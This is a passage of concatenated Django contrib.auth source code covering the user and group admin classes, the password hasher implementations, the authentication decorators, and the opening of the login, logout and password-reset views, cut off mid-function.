    def formfield_for_manytomany(self, db_field, request=None, **kwargs):
        if db_field.name == 'permissions':
            qs = kwargs.get('queryset', db_field.remote_field.model.objects)
            # Avoid a major performance hit resolving permission names which
            # triggers a content_type load:
            kwargs['queryset'] = qs.select_related('content_type')
        return super(GroupAdmin, self).formfield_for_manytomany(
            db_field, request=request, **kwargs)


@admin.register(User)
class UserAdmin(admin.ModelAdmin):
    add_form_template = 'admin/auth/user/add_form.html'
    change_user_password_template = None
    fieldsets = (
        (None, {'fields': ('username', 'password')}),
        (_('Personal info'), {'fields': ('first_name', 'last_name', 'email')}),
        (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser',
                                       'groups', 'user_permissions')}),
        (_('Important dates'), {'fields': ('last_login', 'date_joined')}),
    )
    add_fieldsets = (
        (None, {
            'classes': ('wide',),
            'fields': ('username', 'password1', 'password2'),
        }),
    )
    form = UserChangeForm
    add_form = UserCreationForm
    change_password_form = AdminPasswordChangeForm
    list_display = ('username', 'email', 'first_name', 'last_name', 'is_staff')
    list_filter = ('is_staff', 'is_superuser', 'is_active', 'groups')
    search_fields = ('username', 'first_name', 'last_name', 'email')
    ordering = ('username',)
    filter_horizontal = ('groups', 'user_permissions',)

    def get_fieldsets(self, request, obj=None):
        if not obj:
            return self.add_fieldsets
        return super(UserAdmin, self).get_fieldsets(request, obj)

    def get_form(self, request, obj=None, **kwargs):
        """
        Use special form during user creation
        """
        defaults = {}
        if obj is None:
            defaults['form'] = self.add_form
        defaults.update(kwargs)
        return super(UserAdmin, self).get_form(request, obj, **defaults)

    def get_urls(self):
        return [
            url(
                r'^(.+)/password/$',
                self.admin_site.admin_view(self.user_change_password),
                name='auth_user_password_change',
            ),
        ] + super(UserAdmin, self).get_urls()

    def lookup_allowed(self, lookup, value):
        # See #20078: we don't want to allow any lookups involving passwords.
        if lookup.startswith('password'):
            return False
        return super(UserAdmin, self).lookup_allowed(lookup, value)

    @sensitive_post_parameters_m
    @csrf_protect_m
    @transaction.atomic
    def add_view(self, request, form_url='', extra_context=None):
        # It's an error for a user to have add permission but NOT change
        # permission for users. If we allowed such users to add users, they
        # could create superusers, which would mean they would essentially have
        # the permission to change users. To avoid the problem entirely, we
        # disallow users from adding users if they don't have change
        # permission.
        if not self.has_change_permission(request):
            if self.has_add_permission(request) and settings.DEBUG:
                # Raise Http404 in debug mode so that the user gets a helpful
                # error message.
                raise Http404(
                    'Your user does not have the "Change user" permission. In '
                    'order to add users, Django requires that your user '
                    'account have both the "Add user" and "Change user" '
                    'permissions set.')
            raise PermissionDenied
        if extra_context is None:
            extra_context = {}
        username_field = self.model._meta.get_field(self.model.USERNAME_FIELD)
        defaults = {
            'auto_populated_fields': (),
            'username_help_text': username_field.help_text,
        }
        extra_context.update(defaults)
        return super(UserAdmin, self).add_view(request, form_url,
                                               extra_context)

    @sensitive_post_parameters_m
    def user_change_password(self, request, id, form_url=''):
        if not self.has_change_permission(request):
            raise PermissionDenied
        user = self.get_object(request, unquote(id))
        if user is None:
            raise Http404(_('%(name)s object with primary key %(key)r does not exist.') % {
                'name': force_text(self.model._meta.verbose_name),
                'key': escape(id),
            })
        if request.method == 'POST':
            form = self.change_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                change_message = self.construct_change_message(request, form, None)
                self.log_change(request, user, change_message)
                msg = ugettext('Password changed successfully.')
                messages.success(request, msg)
                update_session_auth_hash(request, form.user)
                return HttpResponseRedirect(
                    reverse(
                        '%s:%s_%s_change' % (
                            self.admin_site.name,
                            user._meta.app_label,
                            user._meta.model_name,
                        ),
                        args=(user.pk,),
                    )
                )
        else:
            form = self.change_password_form(user)

        fieldsets = [(None, {'fields': list(form.base_fields)})]
        adminForm = admin.helpers.AdminForm(form, fieldsets, {})

        context = {
            'title': _('Change password: %s') % escape(user.get_username()),
            'adminForm': adminForm,
            'form_url': form_url,
            'form': form,
            'is_popup': (IS_POPUP_VAR in request.POST or
                         IS_POPUP_VAR in request.GET),
            'add': True,
            'change': False,
            'has_delete_permission': False,
            'has_change_permission': True,
            'has_absolute_url': False,
            'opts': self.model._meta,
            'original': user,
            'save_as': False,
            'show_save': True,
        }
        context.update(self.admin_site.each_context(request))

        request.current_app = self.admin_site.name

        return TemplateResponse(
            request,
            self.change_user_password_template or
            'admin/auth/user/change_password.html',
            context,
        )

    def response_add(self, request, obj, post_url_continue=None):
        """
        Determines the HttpResponse for the add_view stage. It mostly defers to
        its superclass implementation but is customized because the User model
        has a slightly different workflow.
        """
        # We should allow further modification of the user just added i.e. the
        # 'Save' button should behave like the 'Save and continue editing'
        # button except in two scenarios:
        # * The user has pressed the 'Save and add another' button
        # * We are adding a user in a popup
        if '_addanother' not in request.POST and IS_POPUP_VAR not in request.POST:
            request.POST['_continue'] = 1
        return super(UserAdmin, self).response_add(request, obj,
                                                   post_url_continue)






from __future__ import unicode_literals

import base64
import binascii
import hashlib
import importlib
import warnings
from collections import OrderedDict

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.core.signals import setting_changed
from django.dispatch import receiver
from django.utils import lru_cache
from django.utils.crypto import (
    constant_time_compare, get_random_string, pbkdf2,
)
from django.utils.encoding import force_bytes, force_str, force_text
from django.utils.module_loading import import_string
from django.utils.translation import ugettext_noop as _

UNUSABLE_PASSWORD_PREFIX = '!'  # This will never be a valid encoded hash
UNUSABLE_PASSWORD_SUFFIX_LENGTH = 40  # number of random chars to add after UNUSABLE_PASSWORD_PREFIX


def is_password_usable(encoded):
    if encoded is None or encoded.startswith(UNUSABLE_PASSWORD_PREFIX):
        return False
    try:
        identify_hasher(encoded)
    except ValueError:
        return False
    return True


def check_password(password, encoded, setter=None, preferred='default'):
    """
    Returns a boolean of whether the raw password matches the three
    part encoded digest.

    If setter is specified, it'll be called when you need to
    regenerate the password.
    """
    if password is None or not is_password_usable(encoded):
        return False

    preferred = get_hasher(preferred)
    hasher = identify_hasher(encoded)

    hasher_changed = hasher.algorithm != preferred.algorithm
    must_update = hasher_changed or preferred.must_update(encoded)
    is_correct = hasher.verify(password, encoded)

    # If the hasher didn't change (we don't protect against enumeration if it
    # does) and the password should get updated, try to close the timing gap
    # between the work factor of the current encoded password and the default
    # work factor.
    if not is_correct and not hasher_changed and must_update:
        hasher.harden_runtime(password, encoded)

    if setter and is_correct and must_update:
        setter(password)
    return is_correct


def make_password(password, salt=None, hasher='default'):
    """
    Turn a plain-text password into a hash for database storage

    Same as encode() but generates a new random salt.
    If password is None then a concatenation of
    UNUSABLE_PASSWORD_PREFIX and a random string will be returned
    which disallows logins. Additional random string reduces chances
    of gaining access to staff or superuser accounts.
    See ticket #20079 for more info.
    """
    if password is None:
        return UNUSABLE_PASSWORD_PREFIX + get_random_string(UNUSABLE_PASSWORD_SUFFIX_LENGTH)
    hasher = get_hasher(hasher)

    if not salt:
        salt = hasher.salt()

    return hasher.encode(password, salt)


@lru_cache.lru_cache()
def get_hashers():
    hashers = []
    for hasher_path in settings.PASSWORD_HASHERS:
        hasher_cls = import_string(hasher_path)
        hasher = hasher_cls()
        if not getattr(hasher, 'algorithm'):
            raise ImproperlyConfigured("hasher doesn't specify an "
                                       "algorithm name: %s" % hasher_path)
        hashers.append(hasher)
    return hashers


@lru_cache.lru_cache()
def get_hashers_by_algorithm():
    return {hasher.algorithm: hasher for hasher in get_hashers()}


@receiver(setting_changed)
def reset_hashers(**kwargs):
    if kwargs['setting'] == 'PASSWORD_HASHERS':
        get_hashers.cache_clear()
        get_hashers_by_algorithm.cache_clear()


def get_hasher(algorithm='default'):
    """
    Returns an instance of a loaded password hasher.

    If algorithm is 'default', the default hasher will be returned.
    This function will also lazy import hashers specified in your
    settings file if needed.
    """
    if hasattr(algorithm, 'algorithm'):
        return algorithm

    elif algorithm == 'default':
        return get_hashers()[0]

    else:
        hashers = get_hashers_by_algorithm()
        try:
            return hashers[algorithm]
        except KeyError:
            raise ValueError("Unknown password hashing algorithm '%s'. "
                             "Did you specify it in the PASSWORD_HASHERS "
                             "setting?" % algorithm)


def identify_hasher(encoded):
    """
    Returns an instance of a loaded password hasher.

    Identifies hasher algorithm by examining encoded hash, and calls
    get_hasher() to return hasher. Raises ValueError if
    algorithm cannot be identified, or if hasher is not loaded.
    """
    # Ancient versions of Django created plain MD5 passwords and accepted
    # MD5 passwords with an empty salt.
    if ((len(encoded) == 32 and '$' not in encoded) or
            (len(encoded) == 37 and encoded.startswith('md5$$'))):
        algorithm = 'unsalted_md5'
    # Ancient versions of Django accepted SHA1 passwords with an empty salt.
    elif len(encoded) == 46 and encoded.startswith('sha1$$'):
        algorithm = 'unsalted_sha1'
    else:
        algorithm = encoded.split('$', 1)[0]
    return get_hasher(algorithm)


def mask_hash(hash, show=6, char="*"):
    """
    Returns the given hash, with only the first ``show`` number shown. The
    rest are masked with ``char`` for security reasons.
    """
    masked = hash[:show]
    masked += char * len(hash[show:])
    return masked


class BasePasswordHasher(object):
    """
    Abstract base class for password hashers

    When creating your own hasher, you need to override algorithm,
    verify(), encode() and safe_summary().

    PasswordHasher objects are immutable.
    """
    algorithm = None
    library = None

    def _load_library(self):
        if self.library is not None:
            if isinstance(self.library, (tuple, list)):
                name, mod_path = self.library
            else:
                mod_path = self.library
            try:
                module = importlib.import_module(mod_path)
            except ImportError as e:
                raise ValueError("Couldn't load %r algorithm library: %s" %
                                 (self.__class__.__name__, e))
            return module
        raise ValueError("Hasher %r doesn't specify a library attribute" %
                         self.__class__.__name__)

    def salt(self):
        """
        Generates a cryptographically secure nonce salt in ASCII
        """
        return get_random_string()

    def verify(self, password, encoded):
        """
        Checks if the given password is correct
        """
        raise NotImplementedError('subclasses of BasePasswordHasher must provide a verify() method')

    def encode(self, password, salt):
        """
        Creates an encoded database value

        The result is normally formatted as "algorithm$salt$hash" and
        must be fewer than 128 characters.
        """
        raise NotImplementedError('subclasses of BasePasswordHasher must provide an encode() method')

    def safe_summary(self, encoded):
        """
        Returns a summary of safe values

        The result is a dictionary and will be used where the password field
        must be displayed to construct a safe representation of the password.
        """
        raise NotImplementedError('subclasses of BasePasswordHasher must provide a safe_summary() method')

    def must_update(self, encoded):
        return False

    def harden_runtime(self, password, encoded):
        """
        Bridge the runtime gap between the work factor supplied in `encoded`
        and the work factor suggested by this hasher.

        Taking PBKDF2 as an example, if `encoded` contains 20000 iterations and
        `self.iterations` is 30000, this method should run password through
        another 10000 iterations of PBKDF2. Similar approaches should exist
        for any hasher that has a work factor. If not, this method should be
        defined as a no-op to silence the warning.
        """
        warnings.warn('subclasses of BasePasswordHasher should provide a harden_runtime() method')


class PBKDF2PasswordHasher(BasePasswordHasher):
    """
    Secure password hashing using the PBKDF2 algorithm (recommended)

    Configured to use PBKDF2 + HMAC + SHA256.
    The result is a 64 byte binary string.  Iterations may be changed
    safely but you must rename the algorithm if you change SHA256.
    """
    algorithm = "pbkdf2_sha256"
    iterations = 36000
    digest = hashlib.sha256

    def encode(self, password, salt, iterations=None):
        assert password is not None
        assert salt and '$' not in salt
        if not iterations:
            iterations = self.iterations
        hash = pbkdf2(password, salt, iterations, digest=self.digest)
        hash = base64.b64encode(hash).decode('ascii').strip()
        return "%s$%d$%s$%s" % (self.algorithm, iterations, salt, hash)

    def verify(self, password, encoded):
        algorithm, iterations, salt, hash = encoded.split('$', 3)
        assert algorithm == self.algorithm
        encoded_2 = self.encode(password, salt, int(iterations))
        return constant_time_compare(encoded, encoded_2)

    def safe_summary(self, encoded):
        algorithm, iterations, salt, hash = encoded.split('$', 3)
        assert algorithm == self.algorithm
        return OrderedDict([
            (_('algorithm'), algorithm),
            (_('iterations'), iterations),
            (_('salt'), mask_hash(salt)),
            (_('hash'), mask_hash(hash)),
        ])

    def must_update(self, encoded):
        algorithm, iterations, salt, hash = encoded.split('$', 3)
        return int(iterations) != self.iterations

    def harden_runtime(self, password, encoded):
        algorithm, iterations, salt, hash = encoded.split('$', 3)
        extra_iterations = self.iterations - int(iterations)
        if extra_iterations > 0:
            self.encode(password, salt, extra_iterations)


class PBKDF2SHA1PasswordHasher(PBKDF2PasswordHasher):
    """
    Alternate PBKDF2 hasher which uses SHA1, the default PRF
    recommended by PKCS #5. This is compatible with other
    implementations of PBKDF2, such as openssl's
    PKCS5_PBKDF2_HMAC_SHA1().
    """
    algorithm = "pbkdf2_sha1"
    digest = hashlib.sha1


class Argon2PasswordHasher(BasePasswordHasher):
    """
    Secure password hashing using the argon2 algorithm.

    This is the winner of the Password Hashing Competition 2013-2015
    (https://password-hashing.net). It requires the argon2-cffi library which
    depends on native C code and might cause portability issues.
    """
    algorithm = 'argon2'
    library = 'argon2'

    time_cost = 2
    memory_cost = 512
    parallelism = 2

    def encode(self, password, salt):
        argon2 = self._load_library()
        data = argon2.low_level.hash_secret(
            force_bytes(password),
            force_bytes(salt),
            time_cost=self.time_cost,
            memory_cost=self.memory_cost,
            parallelism=self.parallelism,
            hash_len=argon2.DEFAULT_HASH_LENGTH,
            type=argon2.low_level.Type.I,
        )
        return self.algorithm + data.decode('ascii')

    def verify(self, password, encoded):
        argon2 = self._load_library()
        algorithm, rest = encoded.split('$', 1)
        assert algorithm == self.algorithm
        try:
            return argon2.low_level.verify_secret(
                force_bytes('$' + rest),
                force_bytes(password),
                type=argon2.low_level.Type.I,
            )
        except argon2.exceptions.VerificationError:
            return False

    def safe_summary(self, encoded):
        (algorithm, variety, version, time_cost, memory_cost, parallelism,
            salt, data) = self._decode(encoded)
        assert algorithm == self.algorithm
        return OrderedDict([
            (_('algorithm'), algorithm),
            (_('variety'), variety),
            (_('version'), version),
            (_('memory cost'), memory_cost),
            (_('time cost'), time_cost),
            (_('parallelism'), parallelism),
            (_('salt'), mask_hash(salt)),
            (_('hash'), mask_hash(data)),
        ])

    def must_update(self, encoded):
        (algorithm, variety, version, time_cost, memory_cost, parallelism,
            salt, data) = self._decode(encoded)
        assert algorithm == self.algorithm
        argon2 = self._load_library()
        return (
            argon2.low_level.ARGON2_VERSION != version or
            self.time_cost != time_cost or
            self.memory_cost != memory_cost or
            self.parallelism != parallelism
        )

    def harden_runtime(self, password, encoded):
        # The runtime for Argon2 is too complicated to implement a sensible
        # hardening algorithm.
        pass

    def _decode(self, encoded):
        """
        Split an encoded hash and return: (
            algorithm, variety, version, time_cost, memory_cost,
            parallelism, salt, data,
        ).
        """
        bits = encoded.split('$')
        if len(bits) == 5:
            # Argon2 < 1.3
            algorithm, variety, raw_params, salt, data = bits
            version = 0x10
        else:
            assert len(bits) == 6
            algorithm, variety, raw_version, raw_params, salt, data = bits
            assert raw_version.startswith('v=')
            version = int(raw_version[len('v='):])
        params = dict(bit.split('=', 1) for bit in raw_params.split(','))
        assert len(params) == 3 and all(x in params for x in ('t', 'm', 'p'))
        time_cost = int(params['t'])
        memory_cost = int(params['m'])
        parallelism = int(params['p'])
        return (
            algorithm, variety, version, time_cost, memory_cost, parallelism,
            salt, data,
        )


class BCryptSHA256PasswordHasher(BasePasswordHasher):
    """
    Secure password hashing using the bcrypt algorithm (recommended)

    This is considered by many to be the most secure algorithm but you
    must first install the bcrypt library.  Please be warned that
    this library depends on native C code and might cause portability
    issues.
    """
    algorithm = "bcrypt_sha256"
    digest = hashlib.sha256
    library = ("bcrypt", "bcrypt")
    rounds = 12

    def salt(self):
        bcrypt = self._load_library()
        return bcrypt.gensalt(self.rounds)

    def encode(self, password, salt):
        bcrypt = self._load_library()
        # Hash the password prior to using bcrypt to prevent password
        # truncation as described in #20138.
        if self.digest is not None:
            # Use binascii.hexlify() because a hex encoded bytestring is
            # Unicode on Python 3.
            password = binascii.hexlify(self.digest(force_bytes(password)).digest())
        else:
            password = force_bytes(password)

        data = bcrypt.hashpw(password, salt)
        return "%s$%s" % (self.algorithm, force_text(data))

    def verify(self, password, encoded):
        algorithm, data = encoded.split('$', 1)
        assert algorithm == self.algorithm
        encoded_2 = self.encode(password, force_bytes(data))
        return constant_time_compare(encoded, encoded_2)

    def safe_summary(self, encoded):
        algorithm, empty, algostr, work_factor, data = encoded.split('$', 4)
        assert algorithm == self.algorithm
        salt, checksum = data[:22], data[22:]
        return OrderedDict([
            (_('algorithm'), algorithm),
            (_('work factor'), work_factor),
            (_('salt'), mask_hash(salt)),
            (_('checksum'), mask_hash(checksum)),
        ])

    def must_update(self, encoded):
        algorithm, empty, algostr, rounds, data = encoded.split('$', 4)
        return int(rounds) != self.rounds

    def harden_runtime(self, password, encoded):
        _, data = encoded.split('$', 1)
        salt = data[:29]  # Length of the salt in bcrypt.
        rounds = data.split('$')[2]
        # work factor is logarithmic, adding one doubles the load.
        diff = 2**(self.rounds - int(rounds)) - 1
        while diff > 0:
            self.encode(password, force_bytes(salt))
            diff -= 1


class BCryptPasswordHasher(BCryptSHA256PasswordHasher):
    """
    Secure password hashing using the bcrypt algorithm

    This is considered by many to be the most secure algorithm but you
    must first install the bcrypt library.  Please be warned that
    this library depends on native C code and might cause portability
    issues.

    This hasher does not first hash the password which means it is subject to
    the 72 character bcrypt password truncation, most use cases should prefer
    the BCryptSHA256PasswordHasher.

    See: https://code.djangoproject.com/ticket/20138
    """
    algorithm = "bcrypt"
    digest = None


class SHA1PasswordHasher(BasePasswordHasher):
    """
    The SHA1 password hashing algorithm (not recommended)
    """
    algorithm = "sha1"

    def encode(self, password, salt):
        assert password is not None
        assert salt and '$' not in salt
        hash = hashlib.sha1(force_bytes(salt + password)).hexdigest()
        return "%s$%s$%s" % (self.algorithm, salt, hash)

    def verify(self, password, encoded):
        algorithm, salt, hash = encoded.split('$', 2)
        assert algorithm == self.algorithm
        encoded_2 = self.encode(password, salt)
        return constant_time_compare(encoded, encoded_2)

    def safe_summary(self, encoded):
        algorithm, salt, hash = encoded.split('$', 2)
        assert algorithm == self.algorithm
        return OrderedDict([
            (_('algorithm'), algorithm),
            (_('salt'), mask_hash(salt, show=2)),
            (_('hash'), mask_hash(hash)),
        ])

    def harden_runtime(self, password, encoded):
        pass


class MD5PasswordHasher(BasePasswordHasher):
    """
    The Salted MD5 password hashing algorithm (not recommended)
    """
    algorithm = "md5"

    def encode(self, password, salt):
        assert password is not None
        assert salt and '$' not in salt
        hash = hashlib.md5(force_bytes(salt + password)).hexdigest()
        return "%s$%s$%s" % (self.algorithm, salt, hash)

    def verify(self, password, encoded):
        algorithm, salt, hash = encoded.split('$', 2)
        assert algorithm == self.algorithm
        encoded_2 = self.encode(password, salt)
        return constant_time_compare(encoded, encoded_2)

    def safe_summary(self, encoded):
        algorithm, salt, hash = encoded.split('$', 2)
        assert algorithm == self.algorithm
        return OrderedDict([
            (_('algorithm'), algorithm),
            (_('salt'), mask_hash(salt, show=2)),
            (_('hash'), mask_hash(hash)),
        ])

    def harden_runtime(self, password, encoded):
        pass


class UnsaltedSHA1PasswordHasher(BasePasswordHasher):
    """
    Very insecure algorithm that you should *never* use; stores SHA1 hashes
    with an empty salt.

    This class is implemented because Django used to accept such password
    hashes. Some older Django installs still have these values lingering
    around so we need to handle and upgrade them properly.
    """
    algorithm = "unsalted_sha1"

    def salt(self):
        return ''

    def encode(self, password, salt):
        assert salt == ''
        hash = hashlib.sha1(force_bytes(password)).hexdigest()
        return 'sha1$$%s' % hash

    def verify(self, password, encoded):
        encoded_2 = self.encode(password, '')
        return constant_time_compare(encoded, encoded_2)

    def safe_summary(self, encoded):
        assert encoded.startswith('sha1$$')
        hash = encoded[6:]
        return OrderedDict([
            (_('algorithm'), self.algorithm),
            (_('hash'), mask_hash(hash)),
        ])

    def harden_runtime(self, password, encoded):
        pass


class UnsaltedMD5PasswordHasher(BasePasswordHasher):
    """
    Incredibly insecure algorithm that you should *never* use; stores unsalted
    MD5 hashes without the algorithm prefix, also accepts MD5 hashes with an
    empty salt.

    This class is implemented because Django used to store passwords this way
    and to accept such password hashes. Some older Django installs still have
    these values lingering around so we need to handle and upgrade them
    properly.
    """
    algorithm = "unsalted_md5"

    def salt(self):
        return ''

    def encode(self, password, salt):
        assert salt == ''
        return hashlib.md5(force_bytes(password)).hexdigest()

    def verify(self, password, encoded):
        if len(encoded) == 37 and encoded.startswith('md5$$'):
            encoded = encoded[5:]
        encoded_2 = self.encode(password, '')
        return constant_time_compare(encoded, encoded_2)

    def safe_summary(self, encoded):
        return OrderedDict([
            (_('algorithm'), self.algorithm),
            (_('hash'), mask_hash(encoded, show=3)),
        ])

    def harden_runtime(self, password, encoded):
        pass


class CryptPasswordHasher(BasePasswordHasher):
    """
    Password hashing using UNIX crypt (not recommended)

    The crypt module is not supported on all platforms.
    """
    algorithm = "crypt"
    library = "crypt"

    def salt(self):
        return get_random_string(2)

    def encode(self, password, salt):
        crypt = self._load_library()
        assert len(salt) == 2
        data = crypt.crypt(force_str(password), salt)
        assert data is not None  # A platform like OpenBSD with a dummy crypt module.
        # we don't need to store the salt, but Django used to do this
        return "%s$%s$%s" % (self.algorithm, '', data)

    def verify(self, password, encoded):
        crypt = self._load_library()
        algorithm, salt, data = encoded.split('$', 2)
        assert algorithm == self.algorithm
        return constant_time_compare(data, crypt.crypt(force_str(password), data))

    def safe_summary(self, encoded):
        algorithm, salt, data = encoded.split('$', 2)
        assert algorithm == self.algorithm
        return OrderedDict([
            (_('algorithm'), algorithm),
            (_('salt'), salt),
            (_('hash'), mask_hash(data, show=3)),
        ])

    def harden_runtime(self, password, encoded):
        pass






from functools import wraps

from django.conf import settings
from django.contrib.auth import REDIRECT_FIELD_NAME
from django.core.exceptions import PermissionDenied
from django.shortcuts import resolve_url
from django.utils import six
from django.utils.decorators import available_attrs
from django.utils.six.moves.urllib.parse import urlparse


def user_passes_test(test_func, login_url=None, redirect_field_name=REDIRECT_FIELD_NAME):
    """
    Decorator for views that checks that the user passes the given test,
    redirecting to the log-in page if necessary. The test should be a callable
    that takes the user object and returns True if the user passes.
    """

    def decorator(view_func):
        @wraps(view_func, assigned=available_attrs(view_func))
        def _wrapped_view(request, *args, **kwargs):
            if test_func(request.user):
                return view_func(request, *args, **kwargs)
            path = request.build_absolute_uri()
            resolved_login_url = resolve_url(login_url or settings.LOGIN_URL)
            # If the login url is the same scheme and net location then just
            # use the path as the "next" url.
            login_scheme, login_netloc = urlparse(resolved_login_url)[:2]
            current_scheme, current_netloc = urlparse(path)[:2]
            if ((not login_scheme or login_scheme == current_scheme) and
                    (not login_netloc or login_netloc == current_netloc)):
                path = request.get_full_path()
            from django.contrib.auth.views import redirect_to_login
            return redirect_to_login(
                path, resolved_login_url, redirect_field_name)
        return _wrapped_view
    return decorator


def login_required(function=None, redirect_field_name=REDIRECT_FIELD_NAME, login_url=None):
    """
    Decorator for views that checks that the user is logged in, redirecting
    to the log-in page if necessary.
    """
    actual_decorator = user_passes_test(
        lambda u: u.is_authenticated,
        login_url=login_url,
        redirect_field_name=redirect_field_name
    )
    if function:
        return actual_decorator(function)
    return actual_decorator


def permission_required(perm, login_url=None, raise_exception=False):
    """
    Decorator for views that checks whether a user has a particular permission
    enabled, redirecting to the log-in page if necessary.
    If the raise_exception parameter is given the PermissionDenied exception
    is raised.
    """
    def check_perms(user):
        if isinstance(perm, six.string_types):
            perms = (perm, )
        else:
            perms = perm
        # First check if the user has the permission (even anon users)
        if user.has_perms(perms):
            return True
        # In case the 403 handler should be called raise the exception
        if raise_exception:
            raise PermissionDenied
        # As the last resort, show the login form
        return False
    return user_passes_test(check_perms, login_url=login_url)






import functools
import warnings

from django.conf import settings
# Avoid shadowing the login() and logout() views below.
from django.contrib.auth import (
    REDIRECT_FIELD_NAME, get_user_model, login as auth_login,
    logout as auth_logout, update_session_auth_hash,
)
from django.contrib.auth.decorators import login_required
from django.contrib.auth.forms import (
    AuthenticationForm, PasswordChangeForm, PasswordResetForm, SetPasswordForm,
)
from django.contrib.auth.tokens import default_token_generator
from django.contrib.sites.shortcuts import get_current_site
from django.http import HttpResponseRedirect, QueryDict
from django.shortcuts import resolve_url
from django.template.response import TemplateResponse
from django.urls import reverse, reverse_lazy
from django.utils.decorators import method_decorator
from django.utils.deprecation import (
    RemovedInDjango20Warning, RemovedInDjango21Warning,
)
from django.utils.encoding import force_text
from django.utils.http import is_safe_url, urlsafe_base64_decode
from django.utils.six.moves.urllib.parse import urlparse, urlunparse
from django.utils.translation import ugettext_lazy as _
from django.views.decorators.cache import never_cache
from django.views.decorators.csrf import csrf_protect
from django.views.decorators.debug import sensitive_post_parameters
from django.views.generic.base import TemplateView
from django.views.generic.edit import FormView


def deprecate_current_app(func):
    """
    Handle deprecation of the current_app parameter of the views.
    """
    @functools.wraps(func)
    def inner(*args, **kwargs):
        if 'current_app' in kwargs:
            warnings.warn(
                "Passing `current_app` as a keyword argument is deprecated. "
                "Instead the caller of `{0}` should set "
                "`request.current_app`.".format(func.__name__),
                RemovedInDjango20Warning
            )
            current_app = kwargs.pop('current_app')
            request = kwargs.get('request', None)
            if request and current_app is not None:
                request.current_app = current_app
        return func(*args, **kwargs)
    return inner


class LoginView(FormView):
    """
    Displays the login form and handles the login action.
    """
    form_class = AuthenticationForm
    authentication_form = None
    redirect_field_name = REDIRECT_FIELD_NAME
    template_name = 'registration/login.html'
    redirect_authenticated_user = False
    extra_context = None

    @method_decorator(sensitive_post_parameters())
    @method_decorator(csrf_protect)
    @method_decorator(never_cache)
    def dispatch(self, request, *args, **kwargs):
        if self.redirect_authenticated_user and self.request.user.is_authenticated:
            redirect_to = self.get_success_url()
            if redirect_to == self.request.path:
                raise ValueError(
                    "Redirection loop for authenticated user detected. Check that "
                    "your LOGIN_REDIRECT_URL doesn't point to a login page."
                )
            return HttpResponseRedirect(redirect_to)
        return super(LoginView, self).dispatch(request, *args, **kwargs)

    def get_success_url(self):
        """Ensure the user-originating redirection URL is safe."""
        redirect_to = self.request.POST.get(
            self.redirect_field_name,
            self.request.GET.get(self.redirect_field_name, '')
        )
        url_is_safe = is_safe_url(
            url=redirect_to,
            host=self.request.get_host(),
            require_https=self.request.is_secure(),
        )
        if not url_is_safe:
            return resolve_url(settings.LOGIN_REDIRECT_URL)
        return redirect_to

    def get_form_class(self):
        return self.authentication_form or self.form_class

    def form_valid(self, form):
        """Security check complete. Log the user in."""
        auth_login(self.request, form.get_user())
        return HttpResponseRedirect(self.get_success_url())

    def get_context_data(self, **kwargs):
        context = super(LoginView, self).get_context_data(**kwargs)
        current_site = get_current_site(self.request)
        context.update({
            self.redirect_field_name: self.get_success_url(),
            'site': current_site,
            'site_name': current_site.name,
        })
        if self.extra_context is not None:
            context.update(self.extra_context)
        return context


@deprecate_current_app
def login(request, *args, **kwargs):
    warnings.warn(
        'The login() view is superseded by the class-based LoginView().',
        RemovedInDjango21Warning, stacklevel=2
    )
    return LoginView.as_view(**kwargs)(request, *args, **kwargs)


class LogoutView(TemplateView):
    """
    Logs out the user and displays 'You are logged out' message.
    """
    next_page = None
    redirect_field_name = REDIRECT_FIELD_NAME
    template_name = 'registration/logged_out.html'
    extra_context = None

    @method_decorator(never_cache)
    def dispatch(self, request, *args, **kwargs):
        auth_logout(request)
        next_page = self.get_next_page()
        if next_page:
            # Redirect to this page until the session has been cleared.
            return HttpResponseRedirect(next_page)
        return super(LogoutView, self).dispatch(request, *args, **kwargs)

    def get_next_page(self):
        if self.next_page is not None:
            next_page = resolve_url(self.next_page)
        elif settings.LOGOUT_REDIRECT_URL:
            next_page = resolve_url(settings.LOGOUT_REDIRECT_URL)
        else:
            next_page = self.next_page

        if (self.redirect_field_name in self.request.POST or
                self.redirect_field_name in self.request.GET):
            next_page = self.request.POST.get(
                self.redirect_field_name,
                self.request.GET.get(self.redirect_field_name)
            )
            url_is_safe = is_safe_url(
                url=next_page,
                host=self.request.get_host(),
                require_https=self.request.is_secure(),
            )
            # Security check -- don't allow redirection to a different host.
            if not url_is_safe:
                next_page = self.request.path
        return next_page

    def get_context_data(self, **kwargs):
        context = super(LogoutView, self).get_context_data(**kwargs)
        current_site = get_current_site(self.request)
        context.update({
            'site': current_site,
            'site_name': current_site.name,
            'title': _('Logged out'),
        })
        if self.extra_context is not None:
            context.update(self.extra_context)
        return context


@deprecate_current_app
def logout(request, *args, **kwargs):
    warnings.warn(
        'The logout() view is superseded by the class-based LogoutView().',
        RemovedInDjango21Warning, stacklevel=2
    )
    return LogoutView.as_view(**kwargs)(request, *args, **kwargs)


_sentinel = object()


@deprecate_current_app
def logout_then_login(request, login_url=None, extra_context=_sentinel):
    """
    Logs out the user if they are logged in. Then redirects to the log-in page.
    """
    if extra_context is not _sentinel:
        warnings.warn(
            "The unused `extra_context` parameter to `logout_then_login` "
            "is deprecated.", RemovedInDjango21Warning
        )

    if not login_url:
        login_url = settings.LOGIN_URL
    login_url = resolve_url(login_url)
    return LogoutView.as_view(next_page=login_url)(request)


def redirect_to_login(next, login_url=None,
                      redirect_field_name=REDIRECT_FIELD_NAME):
    """
    Redirects the user to the login page, passing the given 'next' page
    """
    resolved_url = resolve_url(login_url or settings.LOGIN_URL)

    login_url_parts = list(urlparse(resolved_url))
    if redirect_field_name:
        querystring = QueryDict(login_url_parts[4], mutable=True)
        querystring[redirect_field_name] = next
        login_url_parts[4] = querystring.urlencode(safe='/')

    return HttpResponseRedirect(urlunparse(login_url_parts))


# 4 views for password reset:
# - password_reset sends the mail
# - password_reset_done shows a success message for the above
# - password_reset_confirm checks the link the user clicked and
#   prompts for a new password
# - password_reset_complete shows a success message for the above

@deprecate_current_app
@csrf_protect
def password_reset(request,
                   template_name='registration/password_reset_form.html',
                   email_template_name='registration/password_reset_email.html',
                   subject_template_name='registration/password_reset_subject.txt',
                   password_reset_form=PasswordResetForm,
                   token_generator=default_token_generator,
                   post_reset_redirect=None,
                   from_email=None,
                   extra_context=None,
                   html_email_template_name=None,
                   extra_email_context=None):
    warnings.warn("The password_reset() view is superseded by the "
                  "class-based PasswordResetView().",
                  RemovedInDjango21Warning, stacklevel=2)
    if post_reset_redirect is None:
